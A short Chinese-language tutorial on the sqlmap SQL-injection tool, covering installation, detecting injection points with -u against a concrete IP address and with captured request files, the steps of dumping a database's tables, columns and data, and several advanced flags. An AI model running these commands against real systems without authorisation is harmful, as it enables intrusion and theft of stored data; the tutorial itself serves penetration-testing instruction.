sqlmap使用手册

2019-03-02  本文已影响0人  无远弗届_90

一、概述

1.1 简介

sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它是由python语言编写而成。因此使用sqlmap时,需要在python环境中运行。

1.2 功能点

二、安装

2.1 环境要求

 Python2.7(python3不支持)

2.2 安装步骤

python D:\sqlmap\sqlmap.py --version

若显示sqlmap版本号,则安装成功。如下图所示:


在这里插入图片描述

三、使用

3.1 初级用法

3.1.1 检测注入点

python D:\sqlmap\sqlmap.py -u http://117.41.229.122:8003/?id=1

说明:
-u:指定注入点,后面直接跟上待测的目标url。

如果出现如下红框中的格式内容,则存在sql注入;如果没有,则不一定存在注入,可进一步进行渗透。

在这里插入图片描述
红框中显示了存在注入点的参数及注入的方式和内容。
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --batch

说明:
-r:指定注入点,后面直接跟上文件名称,该文件记录了发送请求的报文,该报文可以利用抓包工具fiddle或burpsuit等获取。

在这里插入图片描述

3.1.2 暴库

所谓暴库,就是利用已有sql漏洞对数据库进行深层次的数据挖掘。暴库的一般过程如下:
数据库------>表------>列------->数据

3.2 高级用法

python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --dbms "oracle" --batch
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --level 2 --batch
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --risk 2 --batch
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --purge --batch
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt -p username --batch
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --keep-alive --batch
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --threads 4 --batch
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt -o --batch

sqlmap的参数还有很多,在这里不一一列举,可参考网上相关教程。

上一篇 下一篇

猜你喜欢

热点阅读